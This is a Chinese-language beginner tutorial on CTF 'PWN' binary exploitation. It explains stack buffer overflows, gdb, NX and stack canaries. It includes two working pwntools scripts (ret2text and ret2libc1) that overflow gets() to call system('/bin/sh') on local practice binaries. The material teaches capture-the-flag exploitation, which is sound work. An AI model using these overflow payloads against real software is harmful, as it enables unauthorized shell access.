什么是PWN


PWN的基礎

一、PWN的由來

CTF比賽主要表現以下幾個技能上:逆向工程、密碼 學、ACM編程、Web漏洞、二進制溢出、網絡和取證等。在國際CTF賽事中,二進制溢出也稱之為PWN。

PWN是一個黑客語法的俚語詞,自"own"這個字引申出來的,這個詞的含意在於,玩家在整個游戲對戰中處在勝利的優勢,或是說明競爭對手處在完全慘敗的 情形下,這個詞習慣上在網絡游戲文化主要用於嘲笑競爭對手在整個游戲對戰中已經完全被擊敗(例如:"You just got pwned!")。有一個非常著名的國際賽事叫做Pwn2Own,相信你現在已經能夠理解這個名字的含義了,即通過打敗對手來達到擁有的目的。

CTF中PWN題型通常會直接給定一個已經編譯好的二進制程序(Windows下的EXE或者Linux下的ELF文件等),然后參賽選手通過對二進制程 序進行逆向分析和調試來找到利用漏洞,並編寫利用代碼,通過遠程代碼執行來達到溢出攻擊的效果,最終拿到目標機器的shell奪取flag。

二、Linux管道

Linux管道可以將一個進程的標准輸出作為另一個進程的標准輸入,管道的操作符號為“|”,比如ls命令可用於查看當前目錄下的文件列表,而grep命 令可用於匹配特定的字符,因此ls | grep test命令可用於列出當前目錄下文件名包含test的文件。

三、Python基礎

在Linux shell中執行python -c "print 'Hello'"可以執行雙引號中的Python語句,即通過print打印出Hello字符串。Python中單引號和雙引號沒有區別,因為這里使用雙 引號修飾Python語句,因此使用單引號修飾字符串。

四、gdb調試器

gdb是Linux下常用的一款命令行調試器,擁有十分強大的調試功能。本文中需要用到的gdb命令如下:

 
image

五、匯編基礎

讀懂常見的匯編指令是CTF競賽中PWN解題的基本要求:

 
image

匯編語言中,esp寄存器用於指示當前函數棧幀的棧頂的位置,函數中局部變量都存儲在棧空間中,棧的生長方向是向下的(即從高地址往低地址方向生長)。

緩沖區溢出是指當計算機向緩沖區內填充數據位數時超過了緩沖區本身的容量,使得溢出的數據覆蓋在合法數據上,理想的情況是程序檢查數據長度並不允許輸入超 過緩沖區長度的字符,但是絕大多數程序都會假設數據長度總是與所分配的儲存空間相匹配,這就為緩沖區溢出埋下隱患。


PWN的入門

一、學pwn需要哪些知識呢?

漏洞一般是1、gets函數這種對輸入沒有限制導致溢出。2、格式化字符串漏洞。3、數據類型轉換的時候產生了溢出。 總的來說就是對輸入的值限制的不夠讓用戶的輸入影響了執行流。 那么如何利用漏洞呢? 在linux中有一個system函數system("/bin/bash")這條語句就可以調出shell。讓程序執行這個函數就能實現對shell的調用了_

二、需要注意什么

在溢出是要清楚2個問題:1、哪里有漏洞,也就是我們能把自己的代碼或者字符放到函數里並影響執行。2、我們要讓它執行什么。

三、簡單的pwn

```
nt __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("There is something amazing here, do you know anything?"); gets(&s); printf("Maybe I will tell you next time !"); return 0; } ``` 這里需要安裝pwntools[這里可以安裝工具](https://blog.csdn.net/gyhgx/article/details/53439417) ``` from pwn import * payload='A'*112+p32(0x0804863a) p=process("./ret2text") p.recvline() p.sendline(payload) p.interactive() ``` 112臨時變量|addr(s)-ebp|+4 0x0804863a這個地址處是 ``` .text:0804863A mov dword ptr [esp], offset command ; "/bin/sh" .text:08048641 call _system ``` 

四、系統保護機制

當然系統也是有很多保護機制的

checksec工具可以幫助我們查看程序開啟的保護。

下面是checksec的執行結果


root@kali:~/桌面# checksec ret2text [!] Pwntools does not support 32-bit Python. Use a 64-bit release. [*] '/root/\xe6\xa1\x8c\xe9\x9d\xa2/ret2text' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 

現在我接觸的2個一個是NX和stack。NX保護是站內代碼不可執行。stack是在棧里面放一個canary值這個值一旦被修改就會觸發check_failed()函數,打印程序名然后退出。

NX保護:

你不能執行我就不執行,棧里面的內容只負責把程序執行流引入到一個需要的匯編代碼的位置處,然后調用程序自己的一些代碼來實現攻擊。你可以調用含有call或者ret代碼這樣就能一直連接下去。這就是大佬說的ROP鏈。

cannary:

函數在執行的時候把一個值放入到棧內的某個位置,我們想要溢出返回地址就要改變這個值,返回的時候系統檢查canary值是否改變,如果改變就調用check_failed()函數,打印程序名然后退出。基於這個原理我們可以1、找到canary的值然后填進去。2、可以覆蓋掉check_\failed()的調用地址換成system()

如果system和”/bin/bash”沒有放在一起怎么辦

這是ida反編譯結果。


int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("RET2LIBC >_<"); gets(&s); return 0; } 

和之前唯一不同的是system和字符串“/bin/bash”分開了

下面是腳本


from pwn import * elf=ELF('ret2libc1') payload='A'*112+p32(elf.plt['system'])+'aaaa'+p32(0x8049720) p=process("./ret2libc1") p.recvline() p.sendline(payload) p.interactive() 

關注一下payload plt是elf加載動態庫用的 ,里面是個地址,存放着一個jmp xxx xxx就是system的地址。’aaaa’是system的返回地址,不需要返回了所以這個值沒用,p32(0x8049720)是‘/bin/bash’的地址。需要注意的是上一個例子是只需要傳進去參數就行,這里進入system的是ret不僅需要我們布置‘/bin/bash’還需要布置返回地址。



作者:陳玄霄
鏈接:https://www.jianshu.com/p/4ce73b3f8f4c
來源:簡書
著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM